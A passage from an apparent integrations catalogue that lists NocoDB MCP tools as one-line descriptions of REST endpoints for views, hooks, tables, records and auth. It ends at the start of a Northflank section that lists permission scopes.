group ID via GET /api/v2/meta/filters/{filterGroupId}/children GET /api/v1/nocodb/api/v2/meta/filters/{filterGroupId}/children. Scopes: api. nocodb_get_api_v2_meta_filters_by_filterid (read) — Get the filter data with a given Filter ID via GET /api/v2/meta/filters/{filterId} GET /api/v1/nocodb/api/v2/meta/filters/{filterId}. Scopes: api. nocodb_get_api_v2_meta_forms_by_formviewid (read) — Get the form data by Form ID via GET /api/v2/meta/forms/{formViewId} GET /api/v1/nocodb/api/v2/meta/forms/{formViewId}. Scopes: api. nocodb_get_api_v2_meta_galleries_by_galleryviewid (read) — Get the Gallery View data with Gallery ID via GET /api/v2/meta/galleries/{galleryViewId} GET /api/v1/nocodb/api/v2/meta/galleries/{galleryViewId}. Scopes: api. nocodb_get_api_v2_meta_grids_by_gridid_grid_columns (read) — List all columns in the given Grid via GET /api/v2/meta/grids/{gridId}/grid-columns GET /api/v1/nocodb/api/v2/meta/grids/{gridId}/grid-columns. Scopes: api. nocodb_get_api_v2_meta_hooks_by_hookid_filters (read) — Get the filter data in a given Hook via GET /api/v2/meta/hooks/{hookId}/filters GET /api/v1/nocodb/api/v2/meta/hooks/{hookId}/filters. Scopes: api. nocodb_get_api_v2_meta_hooks_by_hookid_logs (read) — List the log data in a given Hook via GET /api/v2/meta/hooks/{hookId}/logs GET /api/v1/nocodb/api/v2/meta/hooks/{hookId}/logs. Scopes: api. nocodb_get_api_v2_meta_kanbans_by_kanbanviewid (read) — Get the Kanban View data by Kanban ID via GET /api/v2/meta/kanbans/{kanbanViewId} GET /api/v1/nocodb/api/v2/meta/kanbans/{kanbanViewId}. Scopes: api. nocodb_get_api_v2_meta_maps_by_mapviewid (read) — Get the Map View data by Map ID via GET /api/v2/meta/maps/{mapViewId} GET /api/v1/nocodb/api/v2/meta/maps/{mapViewId}. Scopes: api. nocodb_get_api_v2_meta_nocodb_info (read) — Get the application info such as authType, defaultLimit, version and etc. via GET /api/v2/meta/nocodb/info GET /api/v1/nocodb/api/v2/meta/nocodb/info. Scopes: api. nocodb_get_api_v2_meta_plugins (read) — List all plugins via GET /api/v2/meta/plugins GET /api/v1/nocodb/api/v2/meta/plugins. Scopes: api. nocodb_get_api_v2_meta_plugins_by_pluginid (read) — Get the plugin data by ID via GET /api/v2/meta/plugins/{pluginId} GET /api/v1/nocodb/api/v2/meta/plugins/{pluginId}. Scopes: api. nocodb_get_api_v2_meta_plugins_by_pluginid_status (read) — Check plugin is active or not via GET /api/v2/meta/plugins/{pluginId}/status GET /api/v1/nocodb/api/v2/meta/plugins/{pluginId}/status. Scopes: api. nocodb_get_api_v2_meta_plugins_webhook (read) — List all webhook plugins via GET /api/v2/meta/plugins/webhook GET /api/v1/nocodb/api/v2/meta/plugins/webhook. Scopes: api. nocodb_get_api_v2_meta_sorts_by_sortid (read) — Get the sort data by Sort ID via GET /api/v2/meta/sorts/{sortId} GET /api/v1/nocodb/api/v2/meta/sorts/{sortId}. Scopes: api. nocodb_get_api_v2_meta_tables_by_tableid (read) — Get the table meta data by the given table ID via GET /api/v2/meta/tables/{tableId} GET /api/v1/nocodb/api/v2/meta/tables/{tableId}. Scopes: api. nocodb_get_api_v2_meta_tables_by_tableid_columns_hash (read) — Get columns hash for table via GET /api/v2/meta/tables/{tableId}/columns/hash GET /api/v1/nocodb/api/v2/meta/tables/{tableId}/columns/hash. Scopes: api. nocodb_get_api_v2_meta_tables_by_tableid_hooks (read) — This endpoint allows you to list all webhooks within a specified table. The API returns a paginated list of webhooks.\n\n**Pagination**: The response is paginated by default, with the first page being returned initially. The response includes the following additional information in the `pageInfo` JSON block:\n\n- `totalRows`: Indicates the total number of webhooks available in the specified Table ID.\n- `page`: Specifies the current page number.\n- `pageSize`: Defaults to 25 and defines the number of webhook items listed on each page.\n- `isFirstPage`: A boolean value that indicates whether the current page is the first page of webhook records in the dataset.\n- `isLastPage`: A boolean value that indicates whether the current page is the last page of webhook records in the dataset. via GET /api/v2/meta/tables/{tableId}/hooks GET /api/v1/nocodb/api/v2/meta/tables/{tableId}/hooks. Scopes: api. nocodb_get_api_v2_meta_tables_by_tableid_hooks_samplepayload_by_event_by_operation_by_version (read) — Get the sample hook payload via GET /api/v2/meta/tables/{tableId}/hooks/samplePayload/{event}/{operation}/{version} GET /api/v1/nocodb/api/v2/meta/tables/{tableId}/hooks/samplePayload/{event}/{operation}/{version}. Scopes: api. nocodb_get_api_v2_meta_tables_by_tableid_share (read) — This endpoint allows you to list all Shared Views within a specified table. The API returns a paginated list of shared views.\n\n**Pagination**: The response is paginated by default, with the first page being returned initially. The response includes the following additional information in the `pageInfo` JSON block:\n\n- `totalRows`: Indicates the total number of shared views available in the specified Table ID.\n- `page`: Specifies the current page number.\n- `pageSize`: Defaults to 25 and defines the number of shared view items listed on each page.\n- `isFirstPage`: A boolean value that indicates whether the current page is the first page of shared view records in the dataset.\n- `isLastPage`: A boolean value that indicates whether the current page is the last page of shared view records in the dataset. via GET /api/v2/meta/tables/{tableId}/share GET /api/v1/nocodb/api/v2/meta/tables/{tableId}/share. Scopes: api. nocodb_get_api_v2_meta_tables_by_tableid_views (read) — This endpoint allows you to list all views within a specified table. The API returns a paginated list of views. **Pagination**: The response is paginated by default, with the first page being returned initially. The response includes the following additional information in the `pageInfo` JSON block: - `totalRows`: Indicates the total number of views available in the specified Table ID. - `page`: Specifies the current page number. - `pageSize`: Defaults to 25 and defines the number of view items listed on each page. - `isFirstPage`: A boolean value that indicates whether the current page is the first page of view records in the dataset. - `isLastPage`: A boolean value that indicates whether the current page is the last page of view records in the dataset. via GET /api/v2/meta/tables/{tableId}/views GET /api/v1/nocodb/api/v2/meta/tables/{tableId}/views. Scopes: api. nocodb_get_api_v2_meta_views_by_viewid_columns (read) — This endpoint allows you to list all columns within a specified view. The API returns a paginated list of columns. **Pagination**: The response is paginated by default, with the first page being returned initially. The response includes the following additional information in the `pageInfo` JSON block: - `totalRows`: Indicates the total number of columns available in the specified View ID. - `page`: Specifies the current page number. - `pageSize`: Defaults to 25 and defines the number of column items listed on each page. - `isFirstPage`: A boolean value that indicates whether the current page is the first page of column records in the dataset. - `isLastPage`: A boolean value that indicates whether the current page is the last page of column records in the dataset. via GET /api/v2/meta/views/{viewId}/columns GET /api/v1/nocodb/api/v2/meta/views/{viewId}/columns. Scopes: api. nocodb_get_api_v2_meta_views_by_viewid_filters (read) — This endpoint allows you to list all filters within a specified view. The API returns a paginated list of filters.\n\n**Pagination**: The response is paginated by default, with the first page being returned initially. The response includes the following additional information in the `pageInfo` JSON block:\n\n- `totalRows`: Indicates the total number of filters available in the specified View ID.\n- `page`: Specifies the current page number.\n- `pageSize`: Defaults to 25 and defines the number of filter items listed on each page.\n- `isFirstPage`: A boolean value that indicates whether the current page is the first page of filter records in the dataset.\n- `isLastPage`: A boolean value that indicates whether the current page is the last page of filter records in the dataset. via GET /api/v2/meta/views/{viewId}/filters GET /api/v1/nocodb/api/v2/meta/views/{viewId}/filters. Scopes: api. nocodb_get_api_v2_meta_views_by_viewid_sorts (read) — This endpoint allows you to list all sorts within a specified view. The API returns a paginated list of sorts.\n\n**Pagination**: The response is paginated by default, with the first page being returned initially. The response includes the following additional information in the `pageInfo` JSON block:\n\n- `totalRows`: Indicates the total number of sorts available in the specified View ID.\n- `page`: Specifies the current page number.\n- `pageSize`: Defaults to 25 and defines the number of sort items listed on each page.\n- `isFirstPage`: A boolean value that indicates whether the current page is the first page of sort records in the dataset.\n- `isLastPage`: A boolean value that indicates whether the current page is the last page of sort records in the dataset. via GET /api/v2/meta/views/{viewId}/sorts GET /api/v1/nocodb/api/v2/meta/views/{viewId}/sorts. Scopes: api. nocodb_get_api_v2_meta_workspaces (read) — List workspaces via GET /api/v2/meta/workspaces GET /api/v1/nocodb/api/v2/meta/workspaces. Scopes: api. nocodb_get_api_v2_meta_workspaces_by_workspaceid (read) — Read workspace via GET /api/v2/meta/workspaces/{workspaceId} GET /api/v1/nocodb/api/v2/meta/workspaces/{workspaceId}. Scopes: api. nocodb_get_api_v2_meta_workspaces_by_workspaceid_bases (read) — This API fetches list of bases associated with the specified workspace ID. The workspace ID must be provided in the path as a required parameter. The API returns a list in JSON format, containing metadata and configuration for each base. The API returns a paginated list of bases. **Pagination**: The response is paginated by default, with the first page being returned initially. The response includes the following additional information in the `pageInfo` JSON block: - `totalRows`: Indicates the total number of bases available in the specified Workspace ID. - `page`: Specifies the current page number. - `pageSize`: Defaults to 25 and defines the number of base items listed on each page. - `isFirstPage`: A boolean value that indicates whether the current page is the first page of base records in the dataset. - `isLastPage`: A boolean value that indicates whether the current page is the last page of base records in the dataset. via GET /api/v2/meta/workspaces/{workspaceId}/bases GET /api/v1/nocodb/api/v2/meta/workspaces/{workspaceId}/bases. Scopes: api. nocodb_get_api_v2_public_calendar_view_by_sharedviewuuid (read) — List all shared view rows via GET /api/v2/public/calendar-view/{sharedViewUuid} GET /api/v1/nocodb/api/v2/public/calendar-view/{sharedViewUuid}. Scopes: api. nocodb_get_api_v2_public_calendar_view_by_sharedviewuuid_countbydate (read) — Count of Records in Dates in Calendar View via GET /api/v2/public/calendar-view/{sharedViewUuid}/countByDate GET /api/v1/nocodb/api/v2/public/calendar-view/{sharedViewUuid}/countByDate. Scopes: api. nocodb_get_api_v2_public_shared_base_by_sharedbaseuuid_meta (read) — Get Share Source Meta via GET /api/v2/public/shared-base/{sharedBaseUuid}/meta GET /api/v1/nocodb/api/v2/public/shared-base/{sharedBaseUuid}/meta. Scopes: api. nocodb_get_api_v2_public_shared_view_by_sharedviewuuid_aggregate (read) — Read aggregated data from a given table via GET /api/v2/public/shared-view/{sharedViewUuid}/aggregate GET /api/v1/nocodb/api/v2/public/shared-view/{sharedViewUuid}/aggregate. Scopes: api. nocodb_get_api_v2_public_shared_view_by_sharedviewuuid_group_by_columnid (read) — List Shared View Grouped Data via GET /api/v2/public/shared-view/{sharedViewUuid}/group/{columnId} GET /api/v1/nocodb/api/v2/public/shared-view/{sharedViewUuid}/group/{columnId}. Scopes: api. nocodb_get_api_v2_public_shared_view_by_sharedviewuuid_groupby (read) — List all shared view rows grouped by a column via GET /api/v2/public/shared-view/{sharedViewUuid}/groupby GET /api/v1/nocodb/api/v2/public/shared-view/{sharedViewUuid}/groupby. Scopes: api. nocodb_get_api_v2_public_shared_view_by_sharedviewuuid_meta (read) — Get Share View Meta via GET /api/v2/public/shared-view/{sharedViewUuid}/meta GET /api/v1/nocodb/api/v2/public/shared-view/{sharedViewUuid}/meta. Scopes: api. nocodb_get_api_v2_public_shared_view_by_sharedviewuuid_nested_by_columnname (read) — List Nested Data Relation via GET /api/v2/public/shared-view/{sharedViewUuid}/nested/{columnName} GET /api/v1/nocodb/api/v2/public/shared-view/{sharedViewUuid}/nested/{columnName}. Scopes: api. nocodb_get_api_v2_public_shared_view_by_sharedviewuuid_rows (read) — List all shared view rows via GET /api/v2/public/shared-view/{sharedViewUuid}/rows GET /api/v1/nocodb/api/v2/public/shared-view/{sharedViewUuid}/rows. Scopes: api. nocodb_get_api_v2_public_shared_view_by_sharedviewuuid_rows_by_rowid_by_relationtype_by_columnname (read) — List all nested list data in a given shared view via GET /api/v2/public/shared-view/{sharedViewUuid}/rows/{rowId}/{relationType}/{columnName} GET /api/v1/nocodb/api/v2/public/shared-view/{sharedViewUuid}/rows/{rowId}/{relationType}/{columnName}. Scopes: api. nocodb_get_api_v2_tables_by_tableid_links_by_linkfieldid_records_by_recordid (read) — This API endpoint allows you to retrieve list of linked records for a specific `Link field` and `Record ID`. The response is an array of objects containing Primary Key and its corresponding display value. via GET /api/v2/tables/{tableId}/links/{linkFieldId}/records/{recordId} GET /api/v1/nocodb/api/v2/tables/{tableId}/links/{linkFieldId}/records/{recordId}. Scopes: api. nocodb_get_api_v2_tables_by_tableid_records (read) — This API endpoint allows you to retrieve records from a specified table. You can customize the response by applying various query parameters for filtering, sorting, and formatting. **Pagination**: The response is paginated by default, with the first page being returned initially. The response includes the following additional information in the `pageInfo` JSON block: - `totalRows`: Indicates the total number of rows available for the specified conditions (if any). - `page`: Specifies the current page number. - `pageSize`: Defaults to 25 and defines the number of records on each page. - `isFirstPage`: A boolean value that indicates whether the current page is the first page of records in the dataset. - `isLastPage`: A boolean value that indicates whether the current page is the last page of records in the dataset. The `pageInfo` attributes are particularly valuable when dealing with large datasets that are divided into multiple pages. They enable you to determine whether additional pages of records are available for retrieval or if you've reached the end of the dataset. via GET /api/v2/tables/{tableId}/records GET /api/v1/nocodb/api/v2/tables/{tableId}/records. Scopes: api. nocodb_get_api_v2_tables_by_tableid_records_by_recordid (read) — This API endpoint allows you to retrieve a single record identified by Record-ID, serving as unique identifier for the record from a specified table. via GET /api/v2/tables/{tableId}/records/{recordId} GET /api/v1/nocodb/api/v2/tables/{tableId}/records/{recordId}. Scopes: api. nocodb_get_api_v2_tables_by_tableid_records_count (read) — This API endpoint allows you to retrieve the total number of records from a specified table or a view. You can narrow down search results by applying `where` query parameter via GET /api/v2/tables/{tableId}/records/count GET /api/v1/nocodb/api/v2/tables/{tableId}/records/count. Scopes: api. nocodb_patch_api_v2_meta_bases_by_baseid (write) — This API updates the properties of a specified base, such as its title, color, order, or metadata. The baseId is required to identify the base to be updated. via PATCH /api/v2/meta/bases/{baseId} PATCH /api/v1/nocodb/api/v2/meta/bases/{baseId}. Scopes: api. nocodb_patch_api_v2_meta_bases_by_baseid_shared (write) — Update Base Shared Base via PATCH /api/v2/meta/bases/{baseId}/shared PATCH /api/v1/nocodb/api/v2/meta/bases/{baseId}/shared. Scopes: api. nocodb_patch_api_v2_meta_bases_by_baseid_sources_by_sourceid (write) — Update the source details of a given base via PATCH /api/v2/meta/bases/{baseId}/sources/{sourceId} PATCH /api/v1/nocodb/api/v2/meta/bases/{baseId}/sources/{sourceId}. Scopes: api. nocodb_patch_api_v2_meta_bases_by_baseid_user (write) — Base user meta update via PATCH /api/v2/meta/bases/{baseId}/user PATCH /api/v1/nocodb/api/v2/meta/bases/{baseId}/user. Scopes: api. nocodb_patch_api_v2_meta_bases_by_baseid_users_by_userid (write) — Update a given user in a given base. Exclusive for Super Admin. Access with API Tokens will be blocked. via PATCH /api/v2/meta/bases/{baseId}/users/{userId} PATCH /api/v1/nocodb/api/v2/meta/bases/{baseId}/users/{userId}. Scopes: api. nocodb_patch_api_v2_meta_columns_by_columnid (write) — Update the existing column by the given column ID via PATCH /api/v2/meta/columns/{columnId} PATCH /api/v1/nocodb/api/v2/meta/columns/{columnId}. Scopes: api. nocodb_patch_api_v2_meta_comment_by_commentid (write) — Update comment via PATCH /api/v2/meta/comment/{commentId} PATCH /api/v1/nocodb/api/v2/meta/comment/{commentId}. Scopes: api. nocodb_patch_api_v2_meta_filters_by_filterid (write) — Update the filter data with a given Filter ID via PATCH /api/v2/meta/filters/{filterId} PATCH /api/v1/nocodb/api/v2/meta/filters/{filterId}. Scopes: api. nocodb_patch_api_v2_meta_form_columns_by_formviewcolumnid (write) — Update the form column(s) by Form View Column ID via PATCH /api/v2/meta/form-columns/{formViewColumnId} PATCH /api/v1/nocodb/api/v2/meta/form-columns/{formViewColumnId}. Scopes: api. nocodb_patch_api_v2_meta_forms_by_formviewid (write) — Update the form data by Form ID via PATCH /api/v2/meta/forms/{formViewId} PATCH /api/v1/nocodb/api/v2/meta/forms/{formViewId}. Scopes: api. nocodb_patch_api_v2_meta_galleries_by_galleryviewid (write) — Update the Gallery View data with Gallery ID via PATCH /api/v2/meta/galleries/{galleryViewId} PATCH /api/v1/nocodb/api/v2/meta/galleries/{galleryViewId}. Scopes: api. nocodb_patch_api_v2_meta_grid_columns_by_columnid (write) — Update grid column(s) in the given Grid via PATCH /api/v2/meta/grid-columns/{columnId} PATCH /api/v1/nocodb/api/v2/meta/grid-columns/{columnId}. Scopes: api. nocodb_patch_api_v2_meta_grids_by_viewid (write) — Update Grid View via PATCH /api/v2/meta/grids/{viewId} PATCH /api/v1/nocodb/api/v2/meta/grids/{viewId}. Scopes: api. nocodb_patch_api_v2_meta_hooks_by_hookid (write) — Update the exsiting hook by its ID via PATCH /api/v2/meta/hooks/{hookId} PATCH /api/v1/nocodb/api/v2/meta/hooks/{hookId}. Scopes: api. nocodb_patch_api_v2_meta_kanbans_by_kanbanviewid (write) — Update the Kanban View data with Kanban ID via PATCH /api/v2/meta/kanbans/{kanbanViewId} PATCH /api/v1/nocodb/api/v2/meta/kanbans/{kanbanViewId}. Scopes: api. nocodb_patch_api_v2_meta_maps_by_mapviewid (write) — Update the Map View data by Map ID via PATCH /api/v2/meta/maps/{mapViewId} PATCH /api/v1/nocodb/api/v2/meta/maps/{mapViewId}. Scopes: api. nocodb_patch_api_v2_meta_plugins_by_pluginid (write) — Update the plugin data by ID via PATCH /api/v2/meta/plugins/{pluginId} PATCH /api/v1/nocodb/api/v2/meta/plugins/{pluginId}. Scopes: api. nocodb_patch_api_v2_meta_sorts_by_sortid (write) — Update the sort data by Sort ID via PATCH /api/v2/meta/sorts/{sortId} PATCH /api/v1/nocodb/api/v2/meta/sorts/{sortId}. Scopes: api. nocodb_patch_api_v2_meta_tables_by_tableid (write) — Update the table meta data by the given table ID via PATCH /api/v2/meta/tables/{tableId} PATCH /api/v1/nocodb/api/v2/meta/tables/{tableId}. Scopes: api. nocodb_patch_api_v2_meta_user_profile (write) — Update User Profile via PATCH /api/v2/meta/user/profile PATCH /api/v1/nocodb/api/v2/meta/user/profile. Scopes: api. nocodb_patch_api_v2_meta_views_by_viewid (write) — Update the view with the given view Id. via PATCH /api/v2/meta/views/{viewId} PATCH /api/v1/nocodb/api/v2/meta/views/{viewId}. Scopes: api. nocodb_patch_api_v2_meta_views_by_viewid_columns_by_columnid (write) — Update a column in a View via PATCH /api/v2/meta/views/{viewId}/columns/{columnId} PATCH /api/v1/nocodb/api/v2/meta/views/{viewId}/columns/{columnId}. Scopes: api. nocodb_patch_api_v2_meta_views_by_viewid_share (write) — Update a shared view in a given View.. via PATCH /api/v2/meta/views/{viewId}/share PATCH /api/v1/nocodb/api/v2/meta/views/{viewId}/share. Scopes: api. nocodb_patch_api_v2_meta_workspaces_by_workspaceid (write) — Update workspace via PATCH /api/v2/meta/workspaces/{workspaceId} PATCH /api/v1/nocodb/api/v2/meta/workspaces/{workspaceId}. Scopes: api. nocodb_patch_api_v2_tables_by_tableid_records (write) — This API endpoint allows updating existing records within a specified table identified by an array of Record-IDs, serving as unique identifier for the record. Records to be updated are input as an array of key-value pair objects, where each key corresponds to a field name. Ensure that all the required fields are included in the payload, with exceptions for fields designated as auto-increment or those having default values. When dealing with 'Links' or 'Link To Another Record' field types, you should utilize the 'Create Link' API to insert relevant data. Certain read-only field types will be disregarded if included in the request. These field types include 'Look Up,' 'Roll Up,' 'Formula,' 'Auto Number,' 'Created By,' 'Updated By,' 'Created At,' 'Updated At,' 'Barcode,' and 'QR Code.' Note that a PATCH request only updates the specified fields while leaving other fields unaffected. Currently, PUT requests are not supported by this endpoint. via PATCH /api/v2/tables/{tableId}/records PATCH /api/v1/nocodb/api/v2/tables/{tableId}/records. Scopes: api. nocodb_post_api_v2_auth_email_validate_by_token (write) — Api for verifying email where token need to be passed which is shared to user email. via POST /api/v2/auth/email/validate/{token} POST /api/v1/nocodb/api/v2/auth/email/validate/{token}. Scopes: api. nocodb_post_api_v2_auth_password_forgot (write) — Emails user with a reset url. via POST /api/v2/auth/password/forgot POST /api/v1/nocodb/api/v2/auth/password/forgot. Scopes: api. nocodb_post_api_v2_auth_token_validate_by_token (write) — Validate password reset url token. via POST /api/v2/auth/token/validate/{token} POST /api/v1/nocodb/api/v2/auth/token/validate/{token}. Scopes: api. nocodb_post_api_v2_auth_user_signout (write) — Clear refresh token from the database and cookie. via POST /api/v2/auth/user/signout POST /api/v1/nocodb/api/v2/auth/user/signout. Scopes: api. nocodb_post_api_v2_export_by_viewid_by_exportas (write) — Trigger export as job via POST /api/v2/export/{viewId}/{exportAs} POST /api/v1/nocodb/api/v2/export/{viewId}/{exportAs}. Scopes: api. nocodb_post_api_v2_jobs_by_baseid (write) — Get list of jobs for a given base for the user via POST /api/v2/jobs/{baseId} POST /api/v1/nocodb/api/v2/jobs/{baseId}. Scopes: api. nocodb_post_api_v2_meta_bases (write) — Create a new base in the system (OSS version). via POST /api/v2/meta/bases POST /api/v1/nocodb/api/v2/meta/bases. Scopes: api. nocodb_post_api_v2_meta_bases_by_baseid_by_sourceid_tables (write) — Create a new table in a given Base and Source via POST /api/v2/meta/bases/{baseId}/{sourceId}/tables POST /api/v1/nocodb/api/v2/meta/bases/{baseId}/{sourceId}/tables. Scopes: api. nocodb_post_api_v2_meta_bases_by_baseid_meta_diff (write) — Synchronise the meta data difference between NC_DB and external data sources via POST /api/v2/meta/bases/{baseId}/meta-diff POST /api/v1/nocodb/api/v2/meta/bases/{baseId}/meta-diff. Scopes: api. nocodb_post_api_v2_meta_bases_by_baseid_meta_diff_by_sourceid (write) — Synchronise the meta data difference between NC_DB and external data sources in a given Source via POST /api/v2/meta/bases/{baseId}/meta-diff/{sourceId} POST /api/v1/nocodb/api/v2/meta/bases/{baseId}/meta-diff/{sourceId}. Scopes: api. nocodb_post_api_v2_meta_bases_by_baseid_shared (write) — Create Base Shared Base via POST /api/v2/meta/bases/{baseId}/shared POST /api/v1/nocodb/api/v2/meta/bases/{baseId}/shared. Scopes: api. nocodb_post_api_v2_meta_bases_by_baseid_sources (write) — Create a new source on a given base via POST /api/v2/meta/bases/{baseId}/sources POST /api/v1/nocodb/api/v2/meta/bases/{baseId}/sources. Scopes: api. nocodb_post_api_v2_meta_bases_by_baseid_tables (write) — This endpoint allows you to create a new table in the specified base. via POST /api/v2/meta/bases/{baseId}/tables POST /api/v1/nocodb/api/v2/meta/bases/{baseId}/tables. Scopes: api. nocodb_post_api_v2_meta_bases_by_baseid_users (write) — Create a user and add it to the given base via POST /api/v2/meta/bases/{baseId}/users POST /api/v1/nocodb/api/v2/meta/bases/{baseId}/users. Scopes: api. nocodb_post_api_v2_meta_bases_by_baseid_users_by_userid_resend_invite (write) — Resend Invitation to a specific user via POST /api/v2/meta/bases/{baseId}/users/{userId}/resend-invite POST /api/v1/nocodb/api/v2/meta/bases/{baseId}/users/{userId}/resend-invite. Scopes: api. nocodb_post_api_v2_meta_bases_by_baseid_visibility_rules (write) — Hide / show views based on user role via POST /api/v2/meta/bases/{baseId}/visibility-rules POST /api/v1/nocodb/api/v2/meta/bases/{baseId}/visibility-rules. Scopes: api. nocodb_post_api_v2_meta_columns_by_columnid_primary (write) — Set a primary value on a given column via POST /api/v2/meta/columns/{columnId}/primary POST /api/v1/nocodb/api/v2/meta/columns/{columnId}/primary. Scopes: api. nocodb_post_api_v2_meta_comments (write) — Create a new comment in a row. Logged in Audit. via POST /api/v2/meta/comments POST /api/v1/nocodb/api/v2/meta/comments. Scopes: api. nocodb_post_api_v2_meta_connection_test (write) — Test the DB Connection via POST /api/v2/meta/connection/test POST /api/v1/nocodb/api/v2/meta/connection/test. Scopes: api. nocodb_post_api_v2_meta_duplicate_by_baseid (write) — Duplicate a base via POST /api/v2/meta/duplicate/{baseId} POST /api/v1/nocodb/api/v2/meta/duplicate/{baseId}. Scopes: api. nocodb_post_api_v2_meta_duplicate_by_baseid_by_sourceid (write) — Duplicate a base via POST /api/v2/meta/duplicate/{baseId}/{sourceId} POST /api/v1/nocodb/api/v2/meta/duplicate/{baseId}/{sourceId}. Scopes: api. nocodb_post_api_v2_meta_duplicate_by_baseid_table_by_tableid (write) — Duplicate a table via POST /api/v2/meta/duplicate/{baseId}/table/{tableId} POST /api/v1/nocodb/api/v2/meta/duplicate/{baseId}/table/{tableId}. Scopes: api. nocodb_post_api_v2_meta_hooks_by_hookid_filters (write) — Create filter(s) in a given Hook via POST /api/v2/meta/hooks/{hookId}/filters POST /api/v1/nocodb/api/v2/meta/hooks/{hookId}/filters. Scopes: api. nocodb_post_api_v2_meta_plugins_test (write) — Test if the plugin is working with the given configurations via POST /api/v2/meta/plugins/test POST /api/v1/nocodb/api/v2/meta/plugins/test. Scopes: api. nocodb_post_api_v2_meta_tables_by_tableid_columns (write) — Create a new column in a given Table via POST /api/v2/meta/tables/{tableId}/columns POST /api/v1/nocodb/api/v2/meta/tables/{tableId}/columns. Scopes: api. nocodb_post_api_v2_meta_tables_by_tableid_columns_bulk (write) — Bulk create-update-delete columns via POST /api/v2/meta/tables/{tableId}/columns/bulk POST /api/v1/nocodb/api/v2/meta/tables/{tableId}/columns/bulk. Scopes: api. nocodb_post_api_v2_meta_tables_by_tableid_forms (write) — Create a new form view in a given Table via POST /api/v2/meta/tables/{tableId}/forms POST /api/v1/nocodb/api/v2/meta/tables/{tableId}/forms. Scopes: api. nocodb_post_api_v2_meta_tables_by_tableid_galleries (write) — Create Gallery View via POST /api/v2/meta/tables/{tableId}/galleries POST /api/v1/nocodb/api/v2/meta/tables/{tableId}/galleries. Scopes: api. nocodb_post_api_v2_meta_tables_by_tableid_grids (write) — Create a new grid view in a given Table via POST /api/v2/meta/tables/{tableId}/grids POST /api/v1/nocodb/api/v2/meta/tables/{tableId}/grids. Scopes: api. nocodb_post_api_v2_meta_tables_by_tableid_hooks (write) — Create a hook in the given table via POST /api/v2/meta/tables/{tableId}/hooks POST /api/v1/nocodb/api/v2/meta/tables/{tableId}/hooks. Scopes: api. nocodb_post_api_v2_meta_tables_by_tableid_hooks_test (write) — Test the hook in the given Table via POST /api/v2/meta/tables/{tableId}/hooks/test POST /api/v1/nocodb/api/v2/meta/tables/{tableId}/hooks/test. Scopes: api. nocodb_post_api_v2_meta_tables_by_tableid_kanbans (write) — Create a new Kanban View via POST /api/v2/meta/tables/{tableId}/kanbans POST /api/v1/nocodb/api/v2/meta/tables/{tableId}/kanbans. Scopes: api. nocodb_post_api_v2_meta_tables_by_tableid_maps (write) — Create a new Map View via POST /api/v2/meta/tables/{tableId}/maps POST /api/v1/nocodb/api/v2/meta/tables/{tableId}/maps. Scopes: api. nocodb_post_api_v2_meta_tables_by_tableid_reorder (write) — Update the order of the given Table via POST /api/v2/meta/tables/{tableId}/reorder POST /api/v1/nocodb/api/v2/meta/tables/{tableId}/reorder. Scopes: api. nocodb_post_api_v2_meta_views_by_viewid_columns (write) — Create a new column in a given View via POST /api/v2/meta/views/{viewId}/columns POST /api/v1/nocodb/api/v2/meta/views/{viewId}/columns. Scopes: api. nocodb_post_api_v2_meta_views_by_viewid_filters (write) — Update the filter data in a given View via POST /api/v2/meta/views/{viewId}/filters POST /api/v1/nocodb/api/v2/meta/views/{viewId}/filters. Scopes: api. nocodb_post_api_v2_meta_views_by_viewid_hide_all (write) — Hide All Columns in a given View via POST /api/v2/meta/views/{viewId}/hide-all POST /api/v1/nocodb/api/v2/meta/views/{viewId}/hide-all. Scopes: api. nocodb_post_api_v2_meta_views_by_viewid_share (write) — Create a shared view in a given View.. via POST /api/v2/meta/views/{viewId}/share POST /api/v1/nocodb/api/v2/meta/views/{viewId}/share. Scopes: api. nocodb_post_api_v2_meta_views_by_viewid_show_all (write) — Show All Columns in a given View via POST /api/v2/meta/views/{viewId}/show-all POST /api/v1/nocodb/api/v2/meta/views/{viewId}/show-all. Scopes: api. nocodb_post_api_v2_meta_views_by_viewid_sorts (write) — Update the sort data in a given View via POST /api/v2/meta/views/{viewId}/sorts POST /api/v1/nocodb/api/v2/meta/views/{viewId}/sorts. Scopes: api. nocodb_post_api_v2_meta_workspaces (write) — List workspaces via POST /api/v2/meta/workspaces POST /api/v1/nocodb/api/v2/meta/workspaces. Scopes: api. nocodb_post_api_v2_meta_workspaces_by_workspaceid_bases (write) — This API endpoint creates a new base within a given workspace, identified by the workspace ID. The API returns the created base in JSON format. via POST /api/v2/meta/workspaces/{workspaceId}/bases POST /api/v1/nocodb/api/v2/meta/workspaces/{workspaceId}/bases. Scopes: api. nocodb_post_api_v2_public_export_by_publicdatauuid_by_exportas (write) — Trigger export as job via POST /api/v2/public/export/{publicDataUuid}/{exportAs} POST /api/v1/nocodb/api/v2/public/export/{publicDataUuid}/{exportAs}. Scopes: api. nocodb_post_api_v2_storage_upload_by_url (write) — Upload attachment by URL. Used in Airtable Migration. via POST /api/v2/storage/upload-by-url POST /api/v1/nocodb/api/v2/storage/upload-by-url. Scopes: api. nocodb_post_api_v2_tables_by_tableid_links_by_linkfieldid_records_by_recordid (write) — This API endpoint allows you to link records to a specific `Link field` and `Record ID`. The request payload is an array of record-ids from the adjacent table for linking purposes. Note that any existing links, if present, will be unaffected during this operation. via POST /api/v2/tables/{tableId}/links/{linkFieldId}/records/{recordId} POST /api/v1/nocodb/api/v2/tables/{tableId}/links/{linkFieldId}/records/{recordId}. Scopes: api. nocodb_post_api_v2_tables_by_tableid_records (write) — This API endpoint allows the creation of new records within a specified table. Records to be inserted are input as an array of key-value pair objects, where each key corresponds to a field name. Ensure that all the required fields are included in the payload, with exceptions for fields designated as auto-increment or those having default values. When dealing with 'Links' or 'Link To Another Record' field types, you should utilize the 'Create Link' API to insert relevant data. Certain read-only field types will be disregarded if included in the request. These field types include 'Look Up,' 'Roll Up,' 'Formula,' 'Auto Number,' 'Created By,' 'Updated By,' 'Created At,' 'Updated At,' 'Barcode,' and 'QR Code.' via POST /api/v2/tables/{tableId}/records POST /api/v1/nocodb/api/v2/tables/{tableId}/records. Scopes: api. ================================================================================ ## Northflank URL: https://www.agenticfabriq.com/integrations/northflank Section: Integrated Tools Northflank — 411 MCP tools Provider key: northflank. Scopes: account:admin:apitokens:read, account:admin:apitokens:update, account:admin:encryption:create, account:admin:encryption:manage, account:admin:encryption:read, account:admin:members:manage, account:admin:members:read, account:admin:roles:manage, account:admin:roles:read, account:cloud:clusters:create, account:cloud:clusters:delete, account:cloud:clusters:read, account:cloud:clusters:update, account:cloud:integrations:create, 